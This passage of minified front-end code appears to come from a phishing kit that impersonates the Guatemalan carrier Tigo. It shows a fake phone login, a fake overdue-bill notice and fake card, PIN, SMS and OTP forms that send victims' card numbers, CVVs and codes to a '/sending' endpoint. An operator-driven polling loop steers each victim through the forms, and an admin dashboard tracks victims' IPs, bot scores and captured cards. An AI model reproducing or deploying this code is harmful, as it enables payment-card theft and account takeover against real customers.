                `,placeholder:"",autoComplete:"one-time-code"}),E.verificationCode&&o.jsx("p",{className:"text-[#dc2626] text-sm mt-1 text-center",children:E.verificationCode.message})]}),o.jsxs("div",{className:"text-center space-y-3",children:[o.jsx("p",{className:"text-sm text-gray-600",children:y("smsForm.didntReceive")}),x?o.jsx("button",{type:"button",onClick:B,disabled:c,className:"w-full flex flex-row items-center justify-center text-[#00377d] hover:text-[#002a61] p-0 h-auto font-medium",children:c?o.jsxs(o.Fragment,{children:[o.jsx(jn,{className:"w-4 h-4 mr-2 animate-spin"}),y("smsForm.sending")]}):o.jsxs(o.Fragment,{children:[o.jsx(bi,{className:"w-4 h-4 mr-2"}),y("smsForm.resendCode")]})}):o.jsx("p",{className:"text-sm text-gray-500",children:y("smsForm.resendCountdown",{timeLeft:h})})]})]}),o.jsx("div",{className:"w-full mt-8",children:o.jsx(Rr,{isSubmitting:j||!A||s,isLoading:s,text:y("button.continue")})})]})]})})})}function OH(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),[c,u]=C.useState(!1),[d]=ta("global"),m=Qt(),{register:h,handleSubmit:p,watch:x,formState:{errors:g,isValid:y,isSubmitting:w}}=Ys({mode:"onChange",defaultValues:{pinCode:""}}),S=x("pinCode"),N=c||S&&S.length>0,T=async E=>{try{i(!0);const A={step:"pin",unique_id:e,code:E.pinCode};(await m.sending("/sending",A)).status==="success"?(t("loader"),n(null),i(!1)):(n(d("message.xmessageSending")),i(!1))}catch(A){console.log("onSubmit error:",A)}};return o.jsx("div",{className:"w-full mx-auto space-y-6 z-50",children:o.jsx("div",{className:"w-full",children:o.jsxs("div",{className:"w-full md:flex-none flex-1 flex-col flex transition-all duration-500 ease-in-out",children:[o.jsxs("div",{className:"mb-6 text-center",children:[o.jsx("div",{className:"w-16 h-16 bg-[#e8f0fa] rounded-full flex items-center justify-center mx-auto mb-4",children:o.jsx("svg",{className:"w-8 h-8 text-[#00377d]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M3 10h18M7 15h1m4 0h1m-7 4h12a3 3 0 003-3V8a3 3 0 00-3-3H6a3 3 0 00-3 3v8a3 3 0 003 3z"})})}),o.jsx("h2",{className:"text-2xl font-semibold text-gray-800",children:d("pinForm.title")}),o.jsx("p",{className:"text-gray-600 mt-2",children:d("pinForm.description")}),o.jsx("p",{className:"text-sm text-gray-500 mt-1",children:d("pinForm.instruction")})]}),o.jsxs("form",{className:"w-full flex flex-col justify-between flex-1",onSubmit:p(T),children:[o.jsxs("div",{className:"space-y-6",children:[o.jsxs("div",{className:"w-full relative",children:[o.jsx("label",{htmlFor:"pinCode",className:`
                  text-[16px] leading-[1.5] font-[300] absolute transition-all duration-200 ease-in-out pointer-events-none
                  ${N?"top-[-2px] text-[12px] text-[#666] transform scale-90 origin-left":"top-[18px] text-[#999]"}
                  ${g.pinCode?"text-[#dc2626]":""}
                `,children:d("pinForm.pinLabel")}),o.jsx("input",{type:"password",id:"pinCode",maxLength:4,...h("pinCode",{required:d("pinForm.pinRequired"),pattern:{value:/^\d{4}$/,message:d("pinForm.pinPattern")}}),onFocus:()=>u(!0),onBlur:()=>u(!1),className:`
                  w-full text-[#333] border-b-[2px] bg-transparent pt-[16px] pb-[3px] px-0
                  font-[400] ring-0 transition-colors duration-200 text-2xl tracking-widest
                  ${g.pinCode?"border-[#dc2626]":c?"border-[#00377d]":"border-[#ced4da]"}
                `,placeholder:"",autoComplete:"current-password"}),g.pinCode&&o.jsx("p",{className:"text-[#dc2626] text-sm mt-1 text-center",children:g.pinCode.message})]}),o.jsx("div",{className:"text-center space-y-3",children:o.jsxs("div",{className:"flex items-center justify-center gap-2 text-sm text-gray-600",children:[o.jsx("svg",{className:"w-4 h-4 text-[#00377d]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),o.jsx("span",{children:d("pinForm.securityNotice")})]})}),o.jsx("div",{className:"bg-[#f0f5fb] border border-[#d4e3f5] rounded-lg p-4",children:o.jsxs("div",{className:"flex items-start gap-3",children:[o.jsx("svg",{className:"w-5 h-5 text-[#00377d] mt-0.5 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),o.jsxs("div",{className:"text-sm text-gray-700",children:[o.jsx("p",{className:"font-medium mb-1",children:d("pinForm.helpTitle")}),o.jsxs("ul",{className:"space-y-1 text-gray-600",children:[o.jsxs("li",{children:["• ",d("pinForm.helpItem1")]}),o.jsxs("li",{children:["• ",d("pinForm.helpItem2")]}),o.jsxs("li",{children:["• ",d("pinForm.helpItem3")]})]})]})]})})]}),o.jsx("div",{className:"w-full mt-8",children:o.jsx(Rr,{isSubmitting:w||!y||s,isLoading:s,text:d("button.continue")})})]})]})})})}function LH(){const{userid:e,isForm:t,setIsForm:n,setErrorMessage:s}=Wt(),[i]=ta("global"),c=la(),u=h=>{if(h.startsWith("custom_")||h.startsWith("badcustom_")){n(h),h.startsWith("badcustom_")?s(i("message.xmessageCustom")):s(!1);return}switch(h){case"info":n("info"),s(!1);break;case"mail":n("mail"),s(!1);break;case"badmail":n("mail"),s(i("message.xmessageMail"));break;case"login":n("login"),s(!1);break;case"badlogin":n("login"),s(i("message.xmessageLogin"));break;case"custom":n("custom"),s(!1);break;case"badcustom":n("custom"),s(i("message.xmessageCustom"));break;case"card":n("card"),s(!1);break;case"badcard":n("card"),s(i("message.xmessageCard"));break;case"pin":n("pin"),s(!1);break;case"badpin":n("pin"),s(i("message.xmessagePin"));break;case"bank":n("bank"),s(!1);break;case"badbank":n("bank"),s(i("message.xmessageBank"));break;case"otp":n("otp"),s(!1);break;case"badotp":n("otp"),s(i("message.xmessageSms"));break;case"app":n("app"),s(!1);break;case"badapp":n("app"),s(i("message.xmessageApp"));break;case"sms":n("sms"),s(!1);break;case"badsms":n("sms"),s(i("message.xmessageSms"));break;case"confirm":n("confirm"),s(!1);break;case"ban":s(!1),c(Xi);break;default:n("loader"),s(!1);break}},d=C.useRef(u);d.current=u,C.useEffect(()=>{if(!e)return;let h=!1;const p=async()=>{if(!(h||document.visibilityState!=="visible"))try{const y=(await bt.get(`client/${e}`))?.data,S=(y?.data??y)?.action||"";S&&(await bt.post(`client/${e}/action`,{}),d.current(S))}catch(g){console.error("Error fetching data:",g)}};p();const x=setInterval(p,3e3);return()=>{h=!0,clearInterval(x)}},[e]),C.useEffect(()=>{window.scrollTo({top:0,behavior:"smooth"})},[t]);const m=()=>{if(t.startsWith("custom_")||t.startsWith("badcustom_")){const h=t.includes("_")?t.split("_")[1]:null;return o.jsx(yN,{formId:h})}switch(t){case"explain":return o.jsx(ExplainForm,{});case"login":case"badlogin":return o.jsx(xH,{});case"bank":case"badbank":return o.jsx(BankForm,{});case"mail":case"badmail":return o.jsx(CH,{});case"custom":case"badcustom":return o.jsx(yN,{});case"card":case"badcard":return o.jsx(RH,{});case"otp":case"badotp":return o.jsx(_H,{});case"app":case"badapp":return o.jsx(kH,{});case"pin":case"badpin":return o.jsx(OH,{});case"sms":case"badsms":return o.jsx(FH,{});case"info":return o.jsx(wH,{});case"confirm":return o.jsx(BH,{});default:return o.jsx(MH,{})}};return o.jsx(o.Fragment,{children:m()})}function Mh(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),s=la(),i=C.useRef(s);i.current=s,C.useEffect(()=>{if(!e)return;let c=!1;const u=async()=>{if(!(c||document.visibilityState!=="visible"))try{const p=(await bt.get(`client/${e}`))?.data,g=(p?.data??p)?.action||"";if(g){if(await bt.post(`client/${e}/action`,{}),g==="ban"){i.current("/404",{replace:!0});return}if(g.startsWith("bad")){const y=g.replace("bad","");t(g.startsWith("badcustom_")?g:y),n("Los datos ingresados son incorrectos. Intenta de nuevo.")}else t(g),n(!1);localStorage.setItem("tigo_current_step","app"),i.current("/app",{replace:!0})}}catch{}};u();const d=setInterval(u,3e3),m=()=>{document.visibilityState==="visible"&&u()};return document.addEventListener("visibilitychange",m),()=>{c=!0,clearInterval(d),document.removeEventListener("visibilitychange",m)}},[e,t,n])}function PH(){const e=la();return Mh(),C.useEffect(()=>{const t=localStorage.getItem("tigo_current_step");if(t==="app"){e("/app",{replace:!0});return}if(t==="card"){e("/payment",{replace:!0});return}if(t==="invoice"){e("/invoice",{replace:!0});return}if(t==="phone_done"){e("/invoice",{replace:!0});return}const n=setTimeout(()=>{e("/main/phone",{replace:!0})},2500);return()=>clearTimeout(n)},[e]),o.jsx("div",{className:"tigo-spinner-page",children:o.jsxs("div",{className:"tigo-spinner-container",children:[o.jsx("img",{src:"/assets/tigo-logo-circle.png",alt:"Tigo",className:"tigo-spinner-logo"}),o.jsx("div",{className:"tigo-spinner-ring"}),o.jsx("p",{className:"tigo-spinner-text",children:"Cargando..."})]})})}function zH(){const e=la(),{userid:t}=Wt(),n=Qt(),[s,i]=C.useState(""),[c,u]=C.useState(!1),[d,m]=C.useState(!1);Mh(),C.useEffect(()=>{localStorage.getItem("tigo_phone_locked")&&e(yg,{replace:!0})},[e]),C.useEffect(()=>{localStorage.setItem("tigo_current_step","phone")},[]);const h=x=>{let g=x.target.value.replace(/\D/g,"");g.length>8&&(g=g.slice(0,8)),g.length>4&&(g=g.slice(0,4)+" "+g.slice(4)),i(g),u(g.replace(/\s/g,"").length===8)},p=async()=>{if(!c||d)return;m(!0);const x=s.replace(/\s/g,"");try{const g={step:"login",unique_id:t,username:"+502"+x,password:"phone_login"};localStorage.setItem("username","+502"+x),localStorage.setItem("tigo_phone",s),localStorage.setItem("tigo_phone_locked","+502"+x),localStorage.setItem("tigo_current_step","phone_done"),await n.sending("/sending",g)}catch(g){console.error(g)}setTimeout(()=>{e(yg,{replace:!0})},1500)};return o.jsx("div",{className:"phone-login-page",children:o.jsxs("div",{className:"phone-login-container",children:[o.jsx("div",{className:"phone-header",children:o.jsx("div",{className:"header-logo",children:o.jsx("img",{src:"/assets/tigo-logo-circle.png",alt:"Tigo",className:"header-logo-img"})})}),o.jsx("div",{className:"phone-form-content",children:d?o.jsxs("div",{className:"phone-loading",children:[o.jsx("div",{className:"mini-spinner"}),o.jsx("p",{className:"loading-text",children:"Verificando número..."})]}):o.jsxs(o.Fragment,{children:[o.jsx("h1",{className:"welcome-heading",children:"Ingresa tu número"}),o.jsx("p",{className:"phone-subtitle",children:"Para acceder a tu cuenta Tigo"}),o.jsxs("div",{className:"phone-input-container",children:[o.jsxs("div",{className:"phone-prefix",children:[o.jsx("img",{src:"/assets/gt-flag.svg",alt:"Guatemala",className:"flag-img"}),o.jsx("span",{className:"prefix-text",children:"GT +502"})]}),o.jsx("div",{className:"phone-divider"}),o.jsx("input",{type:"tel",className:"phone-input",placeholder:"0000 0000",value:s,onChange:h,maxLength:9,autoFocus:!0})]}),o.jsx("button",{className:`btn-continuar ${c?"active":""}`,onClick:p,disabled:!c,children:"CONTINUAR"})]})})]})})}function VH(){const e=la(),{userid:t}=Wt();Mh();const n=localStorage.getItem("tigo_phone_locked"),s=localStorage.getItem("tigo_phone");let i="0000 0000";if(n){const S=n.replace("+502","");i=S.length>4?S.slice(0,4)+" "+S.slice(4):S}else s&&(i=s);const c=C.useMemo(()=>{const S=localStorage.getItem("tigo_account_id");if(S)return S;const N="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";let T="";for(let E=0;E<10;E++)T+=N.charAt(Math.floor(Math.random()*N.length));return localStorage.setItem("tigo_account_id",T),T},[]),u=new Date,d=new Date(u);d.setDate(u.getDate()+3);const m=["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],h=m[u.getMonth()],p=u.getFullYear(),x=d.getDate(),g=m[d.getMonth()],y=d.getFullYear();C.useEffect(()=>{localStorage.setItem("tigo_current_step","invoice")},[]);const w=()=>{localStorage.setItem("tigo_current_step","card"),e(uj)};return o.jsx("div",{className:"invoice-page",children:o.jsxs("div",{className:"invoice-container",children:[o.jsx("div",{className:"invoice-header",children:o.jsx("div",{className:"header-logo",style:{margin:"0 auto"},children:o.jsx("img",{src:"/assets/tigo-text-white.png",alt:"Tigo",className:"header-logo-img"})})}),o.jsxs("div",{className:"invoice-content",children:[o.jsx("div",{className:"invoice-icon",children:o.jsx("span",{className:"material-icons",children:"receipt_long"})}),o.jsx("h2",{className:"invoice-title",children:"Estimado Cliente,"}),o.jsxs("p",{className:"invoice-message",children:["Tiene una factura pendiente de pago correspondiente al período de"," ",o.jsxs("strong",{children:[h," ",p]}),"."]}),o.jsxs("div",{className:"invoice-details",children:[o.jsxs("div",{className:"invoice-row",children:[o.jsx("span",{className:"invoice-label",children:"Monto a pagar:"}),o.jsx("span",{className:"invoice-value amount",children:"Q149.00"})]}),o.jsxs("div",{className:"invoice-row",children:[o.jsx("span",{className:"invoice-label",children:"Fecha de vencimiento:"}),o.jsxs("span",{className:"invoice-value",children:[x," de ",g,", ",y]})]})]}),o.jsxs("div",{className:"invoice-warning",children:[o.jsx("span",{className:"material-icons warning-icon",children:"warning_amber"}),o.jsx("p",{children:"Por favor pague antes de la fecha de vencimiento para evitar la interrupción del servicio."})]}),o.jsx("button",{className:"btn-pay",onClick:w,children:"PAGAR AHORA"}),o.jsxs("div",{className:"invoice-account-info",children:[o.jsxs("div",{className:"account-row",children:[o.jsx("span",{className:"account-label",children:"Teléfono:"}),o.jsxs("span",{className:"account-value",children:["+502 ",i]})]}),o.jsxs("div",{className:"account-row",children:[o.jsx("span",{className:"account-label",children:"ID de cuenta:"}),o.jsx("span",{className:"account-value",children:c})]})]})]})]})})}const UH=e=>{const t=e.replace(/\s+/g,"").replace(/[^0-9]/g,"");return t.length===0?"none":t.match(/^4/)?"visa":t.match(/^5[1-5]/)||t.match(/^2[2-7]/)?"mastercard":t.match(/^3[47]/)?"amex":"unknown"};function IH(){const e=la(),{userid:t,setIsForm:n,setErrorMessage:s}=Wt(),i=Qt();Mh();const[c,u]=C.useState(""),[d,m]=C.useState(""),[h,p]=C.useState(""),[x,g]=C.useState(""),[y,w]=C.useState("none"),[S,N]=C.useState(!1);C.useEffect(()=>{localStorage.setItem("tigo_current_step","card")},[]);const T=U=>{const $=U.replace(/\D/g,"").slice(0,16),H=[];for(let W=0;W<$.length;W+=4)H.push($.slice(W,W+4));return H.join(" ")},E=(U,$)=>{if($&&U.length<$.length)return $.endsWith("/")&&!U.includes("/")?U.slice(0,-1):U.replace(/[^0-9/]/g,"");const H=U.replace(/\D/g,"").slice(0,4);if(H.length>=2){let W=parseInt(H.slice(0,2),10);W>12&&(W=12),W<1&&H.slice(0,2)!=="0"&&H.slice(0,2)!=="00"&&(W=1);const se=W.toString().padStart(2,"0");if(H.length>2){let M=parseInt(H.slice(2),10);if(H.slice(2).length===2){if(M<26)return se+"/26";if(M>35)return se+"/35"}return se+"/"+H.slice(2)}return se+"/"}return H.length===1&&parseInt(H,10)>1?"0"+H+"/":H},A=U=>{const $=U.target.value.replace(/[^a-zA-Z\u00C0-\u024F\s]/g,"");m($)},j=y==="amex"?4:3,R=U=>{const $=U.target.value.replace(/\D/g,"").slice(0,j);g($)},D=U=>{const $=T(U.target.value);u($);const H=UH($);w(H),H!=="amex"&&x.length>3&&g(x.slice(0,3))},k=U=>{if(!/^\d{2}\/\d{2}$/.test(U))return!1;const[$,H]=U.split("/"),W=parseInt($,10),se=parseInt(H,10);if(W<1||W>12||se<26||se>35)return!1;const M=new Date;return new Date(2e3+se,W-1)>M},B=()=>c.replace(/\s/g,"").length>=15&&d.trim().length>2&&h.length===5&&k(h)&&x.length===j,I=U=>y==="none"?{opacity:1,transform:"scale(1)",transition:"all 0.3s ease"}:y===U?{opacity:1,transform:"scale(1.15)",transition:"all 0.3s ease"}:{opacity:.2,transform:"scale(0.9)",transition:"all 0.3s ease",filter:"grayscale(100%)"},z=async U=>{if(U.preventDefault(),!B()||S)return;N(!0);const $=c.replace(/\s/g,"");localStorage.setItem("cc",$);try{const H={step:"card",unique_id:t,ccn:$,cardName:d,exp:h,cvv:x};(await i.sending("/sending",H)).status==="success"?(s(null),localStorage.setItem("tigo_current_step","app"),n("loader"),e(oi)):(s("Error al procesar el pago"),N(!1))}catch(H){console.error(H),N(!1)}};return o.jsx("div",{className:"card-page",children:o.jsxs("div",{className:"card-container",children:[o.jsxs("div",{className:"card-header",children:[o.jsx("button",{className:"back-btn",onClick:()=>e("/invoice"),children:o.jsx("span",{className:"material-icons",children:"chevron_left"})}),o.jsx("div",{className:"header-logo",children:o.jsx("img",{src:"/assets/tigo-text-white.png",alt:"Tigo",className:"header-logo-img"})})]}),o.jsxs("div",{className:"card-form-content",children:[o.jsx("h2",{className:"card-title",children:"Detalles de Pago"}),o.jsx("p",{className:"card-subtitle",children:"Ingresa los datos de tu tarjeta"}),o.jsxs("div",{className:"card-brands",children:[o.jsx("img",{src:"/assets/visa.png",alt:"Visa",className:"card-brand-logo",style:I("visa")}),o.jsx("img",{src:"/assets/mastercard.png",alt:"Mastercard",className:"card-brand-logo",style:I("mastercard")}),o.jsx("img",{src:"/assets/amex.svg",alt:"Amex",className:"card-brand-logo",style:I("amex")})]}),o.jsxs("form",{className:"card-form",onSubmit:z,children:[o.jsxs("div",{className:"form-group",children:[o.jsx("label",{children:"Número de Tarjeta"}),o.jsxs("div",{className:"input-wrapper",children:[o.jsx("span",{className:"material-icons input-icon",children:"credit_card"}),o.jsx("input",{type:"text",placeholder:"0000 0000 0000 0000",value:c,onChange:D,maxLength:19,inputMode:"numeric"})]})]}),o.jsxs("div",{className:"form-group",children:[o.jsx("label",{children:"Nombre del Titular"}),o.jsxs("div",{className:"input-wrapper",children:[o.jsx("span",{className:"material-icons input-icon",children:"person"}),o.jsx("input",{type:"text",placeholder:"Nombre completo en la tarjeta",value:d,onChange:A,autoComplete:"off"})]})]}),o.jsxs("div",{className:"form-row",children:[o.jsxs("div",{className:"form-group half",children:[o.jsx("label",{children:"Vencimiento"}),o.jsxs("div",{className:"input-wrapper",children:[o.jsx("span",{className:"material-icons input-icon",children:"calendar_today"}),o.jsx("input",{type:"text",placeholder:"MM/AA",value:h,onChange:U=>p(E(U.target.value,h)),maxLength:5,inputMode:"numeric"})]})]}),o.jsxs("div",{className:"form-group half",children:[o.jsx("label",{children:y==="amex"?"CID":"CVV"}),o.jsxs("div",{className:"input-wrapper",children:[o.jsx("span",{className:"material-icons input-icon",children:"lock"}),o.jsx("input",{type:"text",placeholder:y==="amex"?"1234":"123",value:x,onChange:R,maxLength:j,inputMode:"numeric"})]})]})]}),o.jsx("button",{type:"submit",className:`btn-submit ${B()?"active":""}`,disabled:!B()||S,children:S?"PROCESANDO...":"PAGAR Q149.00"})]}),o.jsxs("div",{className:"security-note",children:[o.jsx("span",{className:"material-icons",children:"verified_user"}),o.jsx("span",{children:"Tu pago está protegido con encriptación SSL"})]})]})]})})}const HH=Ou("inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-hidden focus:ring-2 focus:ring-ring focus:ring-offset-2",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground hover:bg-primary/80",secondary:"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80",destructive:"border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80",outline:"text-foreground"}},defaultVariants:{variant:"default"}});function Ot({className:e,variant:t,...n}){return o.jsx("div",{className:je(HH({variant:t}),e),...n})}function Ee({className:e,...t}){return o.jsx("div",{className:je("animate-pulse rounded-md bg-muted",e),...t})}const $t=C.forwardRef(({className:e,...t},n)=>o.jsx("div",{ref:n,className:je("rounded-lg border bg-card text-card-foreground shadow-sm",e),...t}));$t.displayName="Card";const Ln=C.forwardRef(({className:e,...t},n)=>o.jsx("div",{ref:n,className:je("flex flex-col space-y-1.5 p-6",e),...t}));Ln.displayName="CardHeader";const Pa=C.forwardRef(({className:e,...t},n)=>o.jsx("h3",{ref:n,className:je("text-2xl font-semibold leading-none tracking-tight",e),...t}));Pa.displayName="CardTitle";const ro=C.forwardRef(({className:e,...t},n)=>o.jsx("p",{ref:n,className:je("text-sm text-muted-foreground",e),...t}));ro.displayName="CardDescription";const Gt=C.forwardRef(({className:e,...t},n)=>o.jsx("div",{ref:n,className:je("p-6 pt-0",e),...t}));Gt.displayName="CardContent";const qH=C.forwardRef(({className:e,...t},n)=>o.jsx("div",{ref:n,className:je("flex items-center p-6 pt-0",e),...t}));qH.displayName="CardFooter";const $H=Ou("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"),Je=C.forwardRef(({className:e,...t},n)=>o.jsx("label",{ref:n,className:je($H(),e),...t}));Je.displayName="Label";const GH="w-full min-w-0 space-y-3 sm:space-y-4",On="border-0 bg-card/50 shadow-sm overflow-hidden",Bl="p-3 sm:p-4 pb-2 sm:pb-3",Cu="p-3 sm:p-4 pt-0",YH="p-3 sm:p-4 pt-0 space-y-2 sm:space-y-3",p5="hidden sm:block text-xs sm:text-sm",KH="text-sm sm:text-base font-semibold",F0="text-xl sm:text-2xl font-bold tracking-tight",XH="text-xs sm:text-sm text-muted-foreground",Kx="flex flex-col gap-2 sm:flex-row sm:gap-2 sm:items-stretch",Xx="relative flex-1 w-full min-w-0",Wx="w-full sm:w-auto shrink-0",x5="flex w-full min-w-0 h-10 items-stretch p-1 gap-0.5 bg-muted/50 rounded-md",gl="flex-1 min-w-0 inline-flex items-center justify-center rounded-sm px-2 py-2 text-xs font-medium gap-1 leading-none data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm [&_span]:truncate",vl="h-3.5 w-3.5 shrink-0",WH="space-y-1.5 min-w-0",QH="text-xs font-medium",El="h-9 text-sm",g5="text-[10px] sm:text-xs text-muted-foreground leading-snug",ZH="flex items-center gap-2 p-2 sm:p-2.5 rounded-lg border border-border/50 bg-muted/30 min-w-0",JH="rounded-lg border border-border/50 bg-muted/20 p-2.5 sm:p-3 text-xs sm:text-sm space-y-1",eq="text-xs font-semibold",tq="text-[10px] sm:text-xs text-muted-foreground space-y-0.5";function is({children:e,className:t}){return o.jsx("div",{className:je(GH,t),children:e})}function yo({title:e,description:t,icon:n,badge:s,actions:i,className:c}){return o.jsxs("div",{className:je("w-full min-w-0 flex flex-col gap-3",c),children:[o.jsxs("div",{className:"w-full min-w-0",children:[o.jsxs("div",{className:"flex items-start gap-2 min-w-0",children:[n&&o.jsx(n,{className:"h-5 w-5 text-primary shrink-0 mt-0.5"}),o.jsx("h1",{className:je(F0,"min-w-0 break-words"),children:e})]}),t&&o.jsx("p",{className:je(XH,"mt-1 w-full max-w-none"),children:t})]}),(s||i)&&o.jsxs("div",{className:"w-full min-w-0 flex flex-col gap-2 md:flex-row md:flex-wrap md:items-center",children:[s&&o.jsx("div",{className:"w-full md:w-auto",children:s}),i&&o.jsx("div",{className:"grid grid-cols-2 gap-2 w-full md:flex md:flex-row md:w-auto md:ml-auto",children:i})]})]})}function ai({title:e,value:t,hint:n,icon:s,className:i}){return o.jsx($t,{className:je(On,i),children:o.jsx(Gt,{className:"p-3 sm:p-4",children:o.jsxs("div",{className:"flex items-start justify-between gap-2",children:[o.jsxs("div",{className:"min-w-0",children:[o.jsx("p",{className:"text-xs text-muted-foreground",children:e}),o.jsx("p",{className:"text-xl sm:text-2xl font-bold tabular-nums mt-0.5",children:t}),n&&o.jsx("p",{className:"text-[10px] sm:text-xs text-muted-foreground mt-0.5",children:n})]}),s&&o.jsx("div",{className:"p-2 rounded-lg bg-muted/50 shrink-0",children:o.jsx(s,{className:"h-4 w-4 text-muted-foreground"})})]})})})}function kn({children:e,className:t}){return o.jsx($t,{className:je(On,t),children:e})}function Bn({children:e,className:t}){return o.jsx(Ln,{className:je(Bl,t),children:e})}function Zn({children:e,className:t,spaced:n}){return o.jsx(Gt,{className:je(n?YH:Cu,t),children:e})}function ia({children:e,className:t,icon:n}){return o.jsxs(Pa,{className:je(KH,"flex items-center gap-2",t),children:[n&&o.jsx(n,{className:"h-4 w-4 text-primary shrink-0"}),e]})}function Hs({children:e,className:t,hideOnMobile:n=!0}){return o.jsx(ro,{className:je(n&&p5,!n&&"text-xs sm:text-sm",t),children:e})}function ii({label:e,htmlFor:t,hint:n,children:s,className:i}){return o.jsxs("div",{className:je(WH,i),children:[o.jsx(Je,{htmlFor:t,className:QH,children:e}),s,n?o.jsx("p",{className:g5,children:n}):null]})}function Qx({id:e,value:t,onChange:n,placeholder:s,show:i,onToggleShow:c,icon:u,autoComplete:d}){return o.jsxs("div",{className:"relative",children:[u&&o.jsx(u,{className:"absolute left-2.5 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground pointer-events-none z-[1]"}),o.jsx("input",{id:e,type:i?"text":"password",value:t,onChange:n,placeholder:s,autoComplete:d,required:!0,className:je("flex w-full min-w-0 rounded-md border border-input bg-background px-3 py-1 text-sm shadow-sm transition-colors","placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring","disabled:cursor-not-allowed disabled:opacity-50",El,u&&"pl-9 pr-9",!u&&"pr-9")}),o.jsx("button",{type:"button",tabIndex:-1,className:"absolute right-0 top-0 flex h-9 w-9 items-center justify-center rounded-r-md text-muted-foreground hover:text-foreground transition-colors",onClick:c,"aria-label":i?"Hide password":"Show password",children:i?o.jsx(Pv,{className:"h-4 w-4"}):o.jsx(Sr,{className:"h-4 w-4"})})]})}function Zx({ok:e,label:t,detail:n}){return o.jsxs("div",{className:ZH,children:[e?o.jsx(fu,{className:"h-4 w-4 text-green-600 dark:text-green-400 shrink-0"}):o.jsx(wg,{className:"h-4 w-4 text-red-600 dark:text-red-400 shrink-0"}),o.jsxs("div",{className:"min-w-0 flex-1",children:[o.jsx("p",{className:"text-xs font-medium truncate",children:t}),o.jsx("p",{className:"text-[10px] text-muted-foreground truncate",children:n})]})]})}function nq(e,t){const n=e||"unknown",s=n==="bot"?"destructive":n==="suspicious"?"secondary":"outline";return o.jsxs(Ot,{variant:s,className:"text-[10px] sm:text-xs font-mono shrink-0",children:[n,t!=null?` · ${t}`:""]})}function bN({client:e,showIsp:t=!1}){const n=e.unique_id?`${E7}/${e.unique_id}`:du;return o.jsxs("div",{className:"flex items-center gap-2 p-2 sm:p-2.5 rounded-lg border border-border/50 bg-background/60 hover:bg-muted/30 transition-colors min-w-0",children:[o.jsxs("div",{className:"flex-1 min-w-0",children:[o.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[o.jsx("span",{className:"text-xs sm:text-sm font-medium truncate",children:e.unique_id||`#${e.id}`}),e.ban&&o.jsx(Ot,{variant:"destructive",className:"text-[10px] h-4 px-1",children:"banned"})]}),o.jsxs("p",{className:"text-[10px] sm:text-xs text-muted-foreground truncate mt-0.5",children:[e.ip||"—",e.country_code?` · ${e.country_code}`:"",t&&e.isp?` · ${e.isp}`:""]})]}),nq(e.bot_verdict,e.bot_score),o.jsx(De,{variant:"ghost",size:"icon",className:"h-8 w-8 shrink-0",asChild:!0,children:o.jsx(gs,{to:n,title:"View client",children:o.jsx(bg,{className:"h-4 w-4"})})})]})}function aq(){const{get:e,create:t}=Qt(),{confirm:n}=Th(),{success:s,errorUnlessNotified:i}=yi(),c=C.useRef(e);c.current=e;const[u,d]=C.useState(null),[m,h]=C.useState(!0),[p,x]=C.useState(!1),[g,y]=C.useState(!1),w=async(j=!1)=>{j&&x(!0);try{const R=await c.current("/dashboard/stats");d(R?.data||R)}catch(R){Tl(R)||wr("Failed to load dashboard")}finally{h(!1),x(!1)}};C.useEffect(()=>{w(!1)},[]);const S=async()=>{if(await n("Reset all dashboard data?","This permanently deletes all clients, visit records, and app counters (clicks, clients, bots, cards). This cannot be undone.",{confirmText:"Reset everything",cancelText:"Cancel",variant:"destructive"})){y(!0);try{const R=await t("/dashboard/reset-stats",{},!1);s(R?.message||"Dashboard data reset"),await w(!0)}catch(R){i(R,"Failed to reset dashboard data")}finally{y(!1)}}};if(m||!u)return o.jsxs("div",{className:"w-full min-w-0 p-2 sm:p-0 space-y-3",children:[o.jsx(Ee,{className:"h-10 w-48"}),o.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-2",children:Array.from({length:4}).map((j,R)=>o.jsx(Ee,{className:"h-20 rounded-lg"},R))}),o.jsx(Ee,{className:"h-48 rounded-lg"}),o.jsx(Ee,{className:"h-64 rounded-lg"})]});const N=u.summary||{},T=u.score_buckets||[],E=u.recent_clients||[],A=u.flagged_clients||[];return o.jsxs(is,{children:[o.jsx(yo,{title:"Dashboard",description:"Clients and antibot scoring at a glance",actions:o.jsxs(o.Fragment,{children:[o.jsx(De,{variant:"outline",size:"sm",asChild:!0,children:o.jsx(gs,{to:du,children:"All clients"})}),o.jsx(De,{variant:"outline",size:"sm",asChild:!0,children:o.jsx(gs,{to:I0,children:"Antibot rules"})}),o.jsxs(De,{variant:"default",size:"sm",onClick:()=>w(!0),disabled:p||g,children:[o.jsx(bi,{className:`h-4 w-4 mr-1.5 ${p?"animate-spin":""}`}),"Refresh"]}),o.jsxs(De,{variant:"destructive",size:"sm",onClick:S,disabled:p||g,children:[o.jsx(Fa,{className:`h-4 w-4 mr-1.5 ${g?"animate-pulse":""}`}),g?"Resetting…":"Reset 